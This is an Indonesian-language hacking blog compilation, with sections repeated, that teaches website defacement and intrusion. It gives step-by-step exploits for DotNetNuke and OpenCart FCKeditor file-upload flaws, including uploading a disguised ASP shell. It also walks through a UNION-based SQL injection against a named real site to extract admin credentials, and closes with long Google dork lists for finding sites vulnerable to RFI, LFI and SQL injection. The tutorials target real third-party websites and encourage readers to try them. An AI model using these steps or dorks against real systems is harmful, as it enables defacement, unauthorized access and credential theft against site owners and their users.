DotNetNuke Exploits
Apa itu DotNetNuke ??? DotNetNuke merupakan salah satu framework web
aplikasi yang open source dengan menggunakan bahasa VB.NET. Aplikasi
dari CMS ini dapat diperluas melalui penggunaan dari modul dan skin
sehingga aplikasi ini digunakan untuk membuat, menyebarkan, dan mengatur
intranet, extranet dan website. Edisi DotNetNuke Professional termasuk
penambahan keamanan, kestabilan, dan dukungan garansi dari produk maupun
aplikasi, serta tersedia dalam harga yang lebih murah dibandingkan
aplikasi lainnya.
Apa Saja Fitur dari DotNetNuke?
DotNetNuke telah dikembangkan dengan fitur seperti: DotNetNuke telah dikembangkan dengan fitur seperti:
* Mudah di instal - Anda dapat memiliki DotNetNuke dan menjalankannya dalam hitungan menit.
* DotNetNuke mendukung beberapa website dari instalansi satu aplikasi.
* DotNetNuke mempunyai fitur lokalisasi banyak bahasa yang memperbolehkan admin untuk secara mudah menerjemahkan bahasa di halaman mereka.
* DotNetNuke dirancang untuk mudah dicocokkan kedalam suatu lingkungan yang telah ada.
* DotNetNuke dikenal secara luas dan dihargai di dalam suatu komunitas open source.
* DotNetNuke cocok untuk admin, content editor, pengembang, dan perancang website.
Mengapa Anda Perlu Memilih DotNetNuke Hosting Indonesia? DotNetNuke meliputi sekitar seribu modul dasar pada pendistribusian DotNetNuke, dan modul ini dapat di download pada website DotNetNuke, termasuk sistem E‐Commerce, galeri foto, blog, forum, wiki dan pilihan mailing list. Penambahan modul third party disediakan oleh komunitas open source dengan para pengembang DNN.
Apa yang Dibutuhkan DotNetNuke Hosting? Kebutuhan utama dari halaman DotNetNuke meliputi:
* Web server yang mampu menjalankan ASP.NET 2.0 atau lebih.
* Database, seperti MS SQL Server 2005 atau MS SQL Server 2008 yang cocok dengan Windows hosting sebuah rancangan control panel untuk penginstalan dengan sekali klik!
nah klo udah tau mari kita langsung operasi.
sebenarnya bugs ini termasuk bugs lama, tapi masih banyak yang guna'in web aplikasi ini.............
postingan ini buka yang pertama kali ane post. pertama kali ane post di Forum MEH kemudian digroup Facebook Blackbox Guardian Yang berganti Nama Jadi Red Alpha. Terus Di forum BCC nah yang ane disini kali keempat‐nya. itung‐itung buat nambah² archive Blog..hehehehehe
langsung saja
1. Sapkan file deface anda
contoh bisa di lihat di sini >> http://pariscapes.com/portals/0/cumi++.txt
lalu save di notepad dengan nama file terserah anda contoh namaanda.txt
atau siapkan shell asp lalu save .asp;.jpg atau .asp;.txt
2.mencari target web
dork >> inurl:”/portals/0″
search di google...!!
3. jalankan aksi
setelah kita search digoole dan menemukan target
contoh >> http://pariscapes.com/portals/0/cumi++.txt << Target sekarang ganti "portals/0/cumi++.txt" dengan >> Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
hingga seperti ini >> http://pariscapes.com/Pro...nkgallery.aspx
Enter..!!
lalu klik/ceklist Link Type: File ( A File On Your Site )
setelah di klik atto ceklis,hapus link di URL...!!
http://pariscapes.com/Pro...nkgallery.aspx
/\
||
||
hapus semua..!!
lalu masukan ini di URL >> javascript:__doPostBack('ctlURL$cmdUpload','')
>>>ENTER..!!
lalu silahkan Upload dari kompi/PC anda file yg td di save contoh cumi++.txt
klik >> Upload Selected File
Catatan: Anda hanya dapat meng‐upload type file:*. swf, *. jpg, *. jpeg, *. JPE, *. gif, *. bmp, *. png, *. doc, *. xls, *. ppt, *. pdf, *. txt, *. xml, *. xsl, *. css, *. zip, *. 3gp, *. asf, *. asx, *. avi, *. flv, *. m4v, *. mov, *. mp4, *. mpe, *. mpeg, *. mpg, *. ram, *. rm, *. rmvb, *. wm, *. wmv, *. vob
tetapi admin dapat mengubah ini
selesai upload nanti kelihatan di File Name contoh: cumi++.txt
untuk melihat hasilnya >> nama web/Portals/0/nama file
contoh >> http://pariscapes.com/portals/0/cumi++.txt
Selesai dech........
dari tutor diatas silahkan di explore kemampuan anda
Selamat mencoba
Thanks to 70h4n 7m and Pekanbaru Cyber Team
=================================================================================================================================
http://tembilahanitgenerations.blogspot.com/
=================================================================================================================================
Apa Saja Fitur dari DotNetNuke?
DotNetNuke telah dikembangkan dengan fitur seperti: DotNetNuke telah dikembangkan dengan fitur seperti:
* Mudah di instal - Anda dapat memiliki DotNetNuke dan menjalankannya dalam hitungan menit.
* DotNetNuke mendukung beberapa website dari instalansi satu aplikasi.
* DotNetNuke mempunyai fitur lokalisasi banyak bahasa yang memperbolehkan admin untuk secara mudah menerjemahkan bahasa di halaman mereka.
* DotNetNuke dirancang untuk mudah dicocokkan kedalam suatu lingkungan yang telah ada.
* DotNetNuke dikenal secara luas dan dihargai di dalam suatu komunitas open source.
* DotNetNuke cocok untuk admin, content editor, pengembang, dan perancang website.
Mengapa Anda Perlu Memilih DotNetNuke Hosting Indonesia? DotNetNuke meliputi sekitar seribu modul dasar pada pendistribusian DotNetNuke, dan modul ini dapat di download pada website DotNetNuke, termasuk sistem E‐Commerce, galeri foto, blog, forum, wiki dan pilihan mailing list. Penambahan modul third party disediakan oleh komunitas open source dengan para pengembang DNN.
Apa yang Dibutuhkan DotNetNuke Hosting? Kebutuhan utama dari halaman DotNetNuke meliputi:
* Web server yang mampu menjalankan ASP.NET 2.0 atau lebih.
* Database, seperti MS SQL Server 2005 atau MS SQL Server 2008 yang cocok dengan Windows hosting sebuah rancangan control panel untuk penginstalan dengan sekali klik!
nah klo udah tau mari kita langsung operasi.
sebenarnya bugs ini termasuk bugs lama, tapi masih banyak yang guna'in web aplikasi ini.............
postingan ini buka yang pertama kali ane post. pertama kali ane post di Forum MEH kemudian digroup Facebook Blackbox Guardian Yang berganti Nama Jadi Red Alpha. Terus Di forum BCC nah yang ane disini kali keempat‐nya. itung‐itung buat nambah² archive Blog..hehehehehe
langsung saja
1. Sapkan file deface anda
contoh bisa di lihat di sini >> http://pariscapes.com/portals/0/cumi++.txt
lalu save di notepad dengan nama file terserah anda contoh namaanda.txt
atau siapkan shell asp lalu save .asp;.jpg atau .asp;.txt
2.mencari target web
dork >> inurl:”/portals/0″
search di google...!!
3. jalankan aksi
setelah kita search digoole dan menemukan target
contoh >> http://pariscapes.com/portals/0/cumi++.txt << Target sekarang ganti "portals/0/cumi++.txt" dengan >> Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
hingga seperti ini >> http://pariscapes.com/Pro...nkgallery.aspx
Enter..!!
lalu klik/ceklist Link Type: File ( A File On Your Site )
setelah di klik atto ceklis,hapus link di URL...!!
http://pariscapes.com/Pro...nkgallery.aspx
/\
||
||
hapus semua..!!
lalu masukan ini di URL >> javascript:__doPostBack('ctlURL$cmdUpload','')
>>>ENTER..!!
lalu silahkan Upload dari kompi/PC anda file yg td di save contoh cumi++.txt
klik >> Upload Selected File
Catatan: Anda hanya dapat meng‐upload type file:*. swf, *. jpg, *. jpeg, *. JPE, *. gif, *. bmp, *. png, *. doc, *. xls, *. ppt, *. pdf, *. txt, *. xml, *. xsl, *. css, *. zip, *. 3gp, *. asf, *. asx, *. avi, *. flv, *. m4v, *. mov, *. mp4, *. mpe, *. mpeg, *. mpg, *. ram, *. rm, *. rmvb, *. wm, *. wmv, *. vob
tetapi admin dapat mengubah ini
selesai upload nanti kelihatan di File Name contoh: cumi++.txt
untuk melihat hasilnya >> nama web/Portals/0/nama file
contoh >> http://pariscapes.com/portals/0/cumi++.txt
Selesai dech........
dari tutor diatas silahkan di explore kemampuan anda
Selamat mencoba
Thanks to 70h4n 7m and Pekanbaru Cyber Team
=================================================================================================================================
http://tembilahanitgenerations.blogspot.com/
=================================================================================================================================
Tutorial Basic Deface Powered by Opencart
Deface ala Opencart atau Opencart remote file Upload Vulnerability
merupakan salah satu cara buat deface sebuah web yang support opencart,
sebenarnya bugs ini termasuk bugs lama.Pertama‐tama
masukkan dork "Powered By OpenCart" di google anda bisa menambah Nama
domain negara tujuan misalnya "Powered By OpenCart" site:my uupz… ^_^
misalkan kita dapatkan http://harleypartsintl.com/index.php?route=product/category&path=41. nah sepertinya OpenCart‐nya ada di halaman awal. hapus index.php?route=product/category&path=41 ganti dengan admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
ubah connectornya jadi php dan langsung upload page kita...
Sampai disini baru dah kita upluad file Deface‐an kia contoh "pct.html", apabila muncul pesan "File uploaded with no errors" berarti kita sukses mengupload file tadi. untuk hasilnya bisa ada di www.nama site.com/nama file.html contohnya http://www.harleypartsintl.com/pct.html
Selesai dech proses deface ala OpenCart. mohon koreksinya jika ada kekeliruan,
Semoga Bermanfaat
Thanks to : Pekanbaru cyber Team, 70h4n 7m, onestree cyber
=================================================================================================================================
http://tembilahanitgenerations.blogspot.com/
=================================================================================================================================
misalkan kita dapatkan http://harleypartsintl.com/index.php?route=product/category&path=41. nah sepertinya OpenCart‐nya ada di halaman awal. hapus index.php?route=product/category&path=41 ganti dengan admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
ubah connectornya jadi php dan langsung upload page kita...
Sampai disini baru dah kita upluad file Deface‐an kia contoh "pct.html", apabila muncul pesan "File uploaded with no errors" berarti kita sukses mengupload file tadi. untuk hasilnya bisa ada di www.nama site.com/nama file.html contohnya http://www.harleypartsintl.com/pct.html
Selesai dech proses deface ala OpenCart. mohon koreksinya jika ada kekeliruan,
Semoga Bermanfaat
Thanks to : Pekanbaru cyber Team, 70h4n 7m, onestree cyber
=================================================================================================================================
http://tembilahanitgenerations.blogspot.com/
=================================================================================================================================
Tutorial Dasar SQL Injections
Untuk pertama kalinya gw mau memberanikan diri untuk posting tentang SQL
Injection, soal nya saya juga masih belajar dalam hal ini kalo kiranya saya salah tolong di koreksi dan yang udah master jangan baca postingan
ini ini cuma buat newbie kaya saya
DORK
Code: Select all
inurl:news_detail.php?id=
Contoh target
Code: Select all
http://www.lbpl.in/news_detail.php?id=14
masukian tanda petik (')
kurang lebih seperti di bawah ini
Code: Select all
http://www.lbpl.in/news_detail.php?id=14'
lalu muncul error seperti
Code: Select all
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
berarti site ini Vuln, setelah terdapat error seperti di atas gunakan perintah ORDER BY untuk mencari panjang column, dan jangan lupa gunakan — di belakang angka yang di masukan
contoh nya seperti di bawah ini
http://www.lbpl.in/news_detail.php?id=1 … 20by%201--
tidak menampilkan eror coba gunakan order by 10 atau 100
kurang lebih nya seperti contoh
Code: Select all
http://www.lbpl.in/news_detail.php?id=14%20order%20by%2010—
order by 10 site mengeluarkan error seperti Unknown column '10' in 'order clause' berarti panjang column tidak sampai 10 coba gunakan order by 5 untuk mengecek nya.. ternyata site masih mengeluarkan error seperti di atas gunakan lagi order by 4 untuk mengecek yang ke 3 kali nya.......... sssttttt site tidak menampilkan error setelah itu gunakan perintah UNION+ALL+SELECT+1,2,3,4— loh kok cuma sampai 4 karena batas eror nya ada di column 4, jangan lupa gunakan gunakan (-) kurang lebih contoh nya seperti di bawah
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14 union all select 1,2,3,4—
setelah menggunakan perintah UNION+ALL+SELECT+1,2,3,4— site tidak mengeluarkan error melainkan mengeluarkan angka angka ajaib kenapa di sebut ajaib karena dengan angka itu kita bisa melanjutkan SQLInjection he2
setelah angka muncul gunakan perintah VERSION() column angka, contoh nya di bawah ini
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,version(),3,4--
setelah menggunakan perintah VERSION() muncul seperti 5.0.77MM0.1-LOG
ternyata versi 5 beruntung lah gw malam ini ck ck soal nya kalo Versi 4 musti tebak tebak table nya ok masalah versi 4 ntr nyusul lagi
setelah mengetahui versinya ganti perintah VERSION() dengan GROUP_CONCAT(TABLE_NAME) serta berikan perintah FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()— di belakang column, perintah tersebut untuk mengetahi nama nama table pada database;) kurang lebih contohnya di bawah ini
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,GROUP_CONCAT(TABLE_NAME),3,4%20FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--
Setelah menggunakan perintah di atas muncul ADMIN,BANNER,CATALOGUE,NEWS,USERS,VIDEO Gunakan table admin, sebelum nya kita meng‐konversi dolo table admin menjadi bentuk hexadecimal_sql seperti 0x41444d494e kurang lebih contoh nya seperti
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,GROUP_CONCAT(column_NAME),3,4%20FROM+INFORMATION_SCHEMA.columnS+WHERE+TABLE_name=0x41444d494e—
setelah itu muncul ID,USERNAME,PASS inilah detik detik menuju ahir ganti Column_name dengan 0x2b,USERNAME,PASS kurang lebih nya lihat contoh yang terahir kali nya....
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,GROUP_CONCAT(0x2b,USERNAME,PASS),3,4%20FROM+admin--
nah ahir dari perjalanan ini adalah ADMINADMIN Username = admin Pass = admin
Cukup sampai di sini Tutorial CUPU dari saya kalo ada salah kata atau penempatan tulisan tolong di koreksi, sekian dan Terima kasih.....
cumi++ PekanBaru Cyber Team
=================================================================================================================================
http://tembilahanitgenerations.blogspot.com/
=================================================================================================================================
DORK
Code: Select all
inurl:news_detail.php?id=
Contoh target
Code: Select all
http://www.lbpl.in/news_detail.php?id=14
masukian tanda petik (')
kurang lebih seperti di bawah ini
Code: Select all
http://www.lbpl.in/news_detail.php?id=14'
lalu muncul error seperti
Code: Select all
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
berarti site ini Vuln, setelah terdapat error seperti di atas gunakan perintah ORDER BY untuk mencari panjang column, dan jangan lupa gunakan — di belakang angka yang di masukan
contoh nya seperti di bawah ini
http://www.lbpl.in/news_detail.php?id=1 … 20by%201--
tidak menampilkan eror coba gunakan order by 10 atau 100
kurang lebih nya seperti contoh
Code: Select all
http://www.lbpl.in/news_detail.php?id=14%20order%20by%2010—
order by 10 site mengeluarkan error seperti Unknown column '10' in 'order clause' berarti panjang column tidak sampai 10 coba gunakan order by 5 untuk mengecek nya.. ternyata site masih mengeluarkan error seperti di atas gunakan lagi order by 4 untuk mengecek yang ke 3 kali nya.......... sssttttt site tidak menampilkan error setelah itu gunakan perintah UNION+ALL+SELECT+1,2,3,4— loh kok cuma sampai 4 karena batas eror nya ada di column 4, jangan lupa gunakan gunakan (-) kurang lebih contoh nya seperti di bawah
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14 union all select 1,2,3,4—
setelah menggunakan perintah UNION+ALL+SELECT+1,2,3,4— site tidak mengeluarkan error melainkan mengeluarkan angka angka ajaib kenapa di sebut ajaib karena dengan angka itu kita bisa melanjutkan SQLInjection he2
setelah angka muncul gunakan perintah VERSION() column angka, contoh nya di bawah ini
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,version(),3,4--
setelah menggunakan perintah VERSION() muncul seperti 5.0.77MM0.1-LOG
ternyata versi 5 beruntung lah gw malam ini ck ck soal nya kalo Versi 4 musti tebak tebak table nya ok masalah versi 4 ntr nyusul lagi
setelah mengetahui versinya ganti perintah VERSION() dengan GROUP_CONCAT(TABLE_NAME) serta berikan perintah FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()— di belakang column, perintah tersebut untuk mengetahi nama nama table pada database;) kurang lebih contohnya di bawah ini
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,GROUP_CONCAT(TABLE_NAME),3,4%20FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--
Setelah menggunakan perintah di atas muncul ADMIN,BANNER,CATALOGUE,NEWS,USERS,VIDEO Gunakan table admin, sebelum nya kita meng‐konversi dolo table admin menjadi bentuk hexadecimal_sql seperti 0x41444d494e kurang lebih contoh nya seperti
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,GROUP_CONCAT(column_NAME),3,4%20FROM+INFORMATION_SCHEMA.columnS+WHERE+TABLE_name=0x41444d494e—
setelah itu muncul ID,USERNAME,PASS inilah detik detik menuju ahir ganti Column_name dengan 0x2b,USERNAME,PASS kurang lebih nya lihat contoh yang terahir kali nya....
Code: Select all
http://www.lbpl.in/news_detail.php?id=-14%20union%20all%20select%201,GROUP_CONCAT(0x2b,USERNAME,PASS),3,4%20FROM+admin--
nah ahir dari perjalanan ini adalah ADMINADMIN Username = admin Pass = admin
Cukup sampai di sini Tutorial CUPU dari saya kalo ada salah kata atau penempatan tulisan tolong di koreksi, sekian dan Terima kasih.....
cumi++ PekanBaru Cyber Team
=================================================================================================================================
http://tembilahanitgenerations.blogspot.com/
=================================================================================================================================
DORK GOOGLE
RFI (Remote File Inclusion):
Code:
inurl:/_functions.php?prefix=
inurl:/cpcommerce/_functions.php?prefix=
inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=
inurl:/modules/agendax/addevent.inc.php?agendax_ path=
inurl:/ashnews.php?pathtoashnews =
inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=
inurl:/pm/lib.inc.php?pm_path=
inurl:/b2-tools/gm-2-b2.php?b2inc=
inurl:/modules/mod_mainmenu.php?mosConfi g_absolute_path=
inurl:/modules/agendax/addevent.inc.php?agendax_ path=
inurl:/includes/include_once.php?include_ file=
inurl:/e107/e107_handlers/secure_img_render.php?p=
inurl:/shoutbox/expanded.php?conf=
inurl:/main.php?x=
inurl:/myPHPCalendar/admin.php?cal_dir=
inurl:/index.php/main.php?x=
inurl:/index.php?include=
inurl:/index.php?x=
inurl:/index.php?open=
inurl:/index.php?visualizar=
inurl:/template.php?pagina=
inurl:/index.php?pagina=
inurl:/index.php?inc=
inurl:/includes/include_onde.php?include_ file=
inurl:/index.php?page=
inurl:/index.php?pg=
inurl:/index.php?show=
inurl:/index.php?cat=
inurl:/index.php?file=
inurl:/db.php?path_local=
inurl:/index.php?site=
inurl:/htmltonuke.php?filnavn=
inurl:/livehelp/inc/pipe.php?HCL_path=
inurl:/hcl/inc/pipe.php?HCL_path=
inurl:/inc/pipe.php?HCL_path=
inurl:/support/faq/inc/pipe.php?HCL_path=
inurl:/help/faq/inc/pipe.php?HCL_path=
inurl:/helpcenter/inc/pipe.php?HCL_path=
inurl:/live‐support/inc/pipe.php?HCL_path=
inurl:/gnu3/index.php?doc=
inurl:/gnu/index.php?doc=
inurl:/phpgwapi/setup/tables_update.inc.php?app dir=
inurl:/forum/install.php?phpbb_root_di r=
inurl:/includes/calendar.php?phpc_root_pa th=
inurl:/includes/setup.php?phpc_root_path=
inurl:/inc/authform.inc.php?path_pre =
inurl:/include/authform.inc.php?path_pre =
inurl:index.php?nic=
inurl:index.php?sec=
inurl:index.php?conent=
inurl:index.php?link=
inurl:index.php?filename=
inurl:index.php?dir=
inurl:index.php?document=
inurl:index.php?view=
inurl:*.php?sel=
inurl:*.php?session=&cont ent=
inurl:*.php?locate=
inurl:*.php?place=
inurl:*.php?layout=
inurl:*.php?go=
inurl:*.php?catch=
inurl:*.php?mode=
inurl:*.php?name=
inurl:*.php?loc=
inurl:*.php?f=
inurl:*.php?inf=
inurl:*.php?pg=
inurl:*.php?load=
inurl:*.php?naam=
allinurl:/index.php?page= site:*.ru
allinurl:/index.php?file= site:*.ru[/spoiler]
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.ph p?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?nu m=
inurl:reagir.php?num=
inurl:Stray‐Questions‐View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id =
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product‐item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?i d=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id =
inurl:fiche_spectacle.php ?id=
inurl:communique_detail.p hp?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id =
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id =
inurl:category.php?id=
inurl:publications.php?id =
inurl:fellows.php?id=
inurl:downloads_info.php? id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id =
inurl:productinfo.php?id=
inurl:collectionitem.php? id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?i d=
inurl:post.php?id=
inurl:viewshowdetail.php? id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder‐categories.php?id=
inurl:tradeCategory.php?i d=
inurl:product_ranges_view .php?ID=
inurl:shop_category.php?i d=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news‐full.php?id=
inurl:news_display.php?ge tid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product‐item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php ?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:".php?id=1"
inurl:".php?cat=1"
inurl:".php?catid=1"
inurl:".php?num=1"
inurl:".php?bid=1"
inurl:".php?pid=1"
inurl:".php?nid=1"
INURL: or ALLINURL: types:[/color]
/temp_eg/phpgwapi/setup/tables_update.inc.php?app dir=
/includes/header.php?systempath=
/Gallery/displayCategory.php?basep ath=
/index.inc.php?PATH_Includ es=
/ashnews.php?pathtoashnews =
/ashheadlines.php?pathtoas hnews=
/modules/xgallery/upgrade_album.php?GALLERY _BASEDIR=
/demo/includes/init.php?user_inc=
/jaf/index.php?show=
/inc/shows.inc.php?cutepath=
/poll/admin/common.inc.php?base_path=
/pollvote/pollvote.php?pollname=
/sources/post.php?fil_config=
/modules/My_eGallery/public/displayCategory.php?basep ath=
/bb_lib/checkdb.inc.php?libpach=
/include/livre_include.php?no_conn ect=lol&chem_absolu=
/index.php?from_market=Y&p ageurl=
/modules/mod_mainmenu.php?mosConfi g_absolute_path=
/pivot/modules/module_db.php?pivot_path=
/modules/4nAlbum/public/displayCategory.php?basep at=
/derniers_commentaires.php ?rep=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/coppermine/themes/maze/theme.php?THEME_DIR=
/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=
/myPHPCalendar/admin.php?cal_dir=
/agendax/addevent.inc.php?agendax_ path=
/modules/mod_mainmenu.php?mosConfi g_absolute_path=
/modules/xoopsgallery/upgrade_album.php?GALLERY _BASEDIR=
/main.php?page=
/default.php?page=
/index.php?action=
/index1.php?p=
/index2.php?x=
/index2.php?content=
/index.php?conteudo=
/index.php?cat=
/include/new‐visitor.inc.php?lvc_inclu de_dir=
/modules/agendax/addevent.inc.php?agendax_ path=
/shoutbox/expanded.php?conf
/modules/xgallery/upgrade_album.php?GALLERY _BASEDIR=
/pivot/modules/module_db.php?pivot_path=
/library/editor/editor.php?root=
/library/lib.php?root=
/e107/e107_handlers/secure_img_render.php?p=
/zentrack/index.php?configFile=
/main.php?x=
/becommunity/community/index.php?pageurl=
/GradeMap/index.php?page=
/index4.php?body=
/side/index.php?side=
/main.php?page=
/es/index.php?action=
/index.php?sec=
/index.php?main=
/index.php?sec=
/index.php?menu=
/html/page.php?page=
/page.php?view=
/index.php?menu=
/main.php?view=
/index.php?page=
/content.php?page=
/main.php?page=
/index.php?x=
/main_site.php?page=
/index.php?L2=
/content.php?page=
/main.php?page=
/index.php?x=
/main_site.php?page=
/index.php?L2=
/index.php?show=
/tutorials/print.php?page=
/index.php?page=
/index.php?level=
/index.php?file=
/index.php?inter_url=
/index.php?page=
/index2.php?menu=
/index.php?level=
/index1.php?main=
/index1.php?nav=
/index1.php?link=
/index2.php?page=
/index.php?myContent=
/index.php?TWC=
/index.php?sec=
/index1.php?main=
/index2.php?page=
/index.php?****nstallPath=
/main.php?body=
/index.php?z=
/main.php?view=
/modules/PNphpBB2/includes/functions_admin.php?phpbb _root_path=
/index.php?file=
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
LFI (Local File Inclusion):
Code:
acion=
act=
action=
API_HOME_DIR=
board=
cat=
client_id=
cmd=
cont=
current_frame=
date=
detail=
dir=
display=
download=
f=
file=
fileinclude=
filename=
firm_id=
g=
getdata=
go=
HT=
idd=
inc=
incfile=
incl=
include_file=
include_path=
infile=
info=
ir=
lang=
language=
link=
load=
main=
mainspot=
msg=
num=
openfile=
p=
page=
pagina=
path=
path_to_calendar=
pg=
plik
qry_str=
ruta=
safehtml=
section=
showfile=
side=
site_id=
skin=
static=
str=
strona=
sub=
tresc=
url=
user=
=================================================================================================================================
http://tembilahanitgenerations.blogspot.com/
=================================================================================================================================
Code:
inurl:/_functions.php?prefix=
inurl:/cpcommerce/_functions.php?prefix=
inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=
inurl:/modules/agendax/addevent.inc.php?agendax_ path=
inurl:/ashnews.php?pathtoashnews =
inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=
inurl:/pm/lib.inc.php?pm_path=
inurl:/b2-tools/gm-2-b2.php?b2inc=
inurl:/modules/mod_mainmenu.php?mosConfi g_absolute_path=
inurl:/modules/agendax/addevent.inc.php?agendax_ path=
inurl:/includes/include_once.php?include_ file=
inurl:/e107/e107_handlers/secure_img_render.php?p=
inurl:/shoutbox/expanded.php?conf=
inurl:/main.php?x=
inurl:/myPHPCalendar/admin.php?cal_dir=
inurl:/index.php/main.php?x=
inurl:/index.php?include=
inurl:/index.php?x=
inurl:/index.php?open=
inurl:/index.php?visualizar=
inurl:/template.php?pagina=
inurl:/index.php?pagina=
inurl:/index.php?inc=
inurl:/includes/include_onde.php?include_ file=
inurl:/index.php?page=
inurl:/index.php?pg=
inurl:/index.php?show=
inurl:/index.php?cat=
inurl:/index.php?file=
inurl:/db.php?path_local=
inurl:/index.php?site=
inurl:/htmltonuke.php?filnavn=
inurl:/livehelp/inc/pipe.php?HCL_path=
inurl:/hcl/inc/pipe.php?HCL_path=
inurl:/inc/pipe.php?HCL_path=
inurl:/support/faq/inc/pipe.php?HCL_path=
inurl:/help/faq/inc/pipe.php?HCL_path=
inurl:/helpcenter/inc/pipe.php?HCL_path=
inurl:/live‐support/inc/pipe.php?HCL_path=
inurl:/gnu3/index.php?doc=
inurl:/gnu/index.php?doc=
inurl:/phpgwapi/setup/tables_update.inc.php?app dir=
inurl:/forum/install.php?phpbb_root_di r=
inurl:/includes/calendar.php?phpc_root_pa th=
inurl:/includes/setup.php?phpc_root_path=
inurl:/inc/authform.inc.php?path_pre =
inurl:/include/authform.inc.php?path_pre =
inurl:index.php?nic=
inurl:index.php?sec=
inurl:index.php?conent=
inurl:index.php?link=
inurl:index.php?filename=
inurl:index.php?dir=
inurl:index.php?document=
inurl:index.php?view=
inurl:*.php?sel=
inurl:*.php?session=&cont ent=
inurl:*.php?locate=
inurl:*.php?place=
inurl:*.php?layout=
inurl:*.php?go=
inurl:*.php?catch=
inurl:*.php?mode=
inurl:*.php?name=
inurl:*.php?loc=
inurl:*.php?f=
inurl:*.php?inf=
inurl:*.php?pg=
inurl:*.php?load=
inurl:*.php?naam=
allinurl:/index.php?page= site:*.ru
allinurl:/index.php?file= site:*.ru[/spoiler]
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.ph p?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
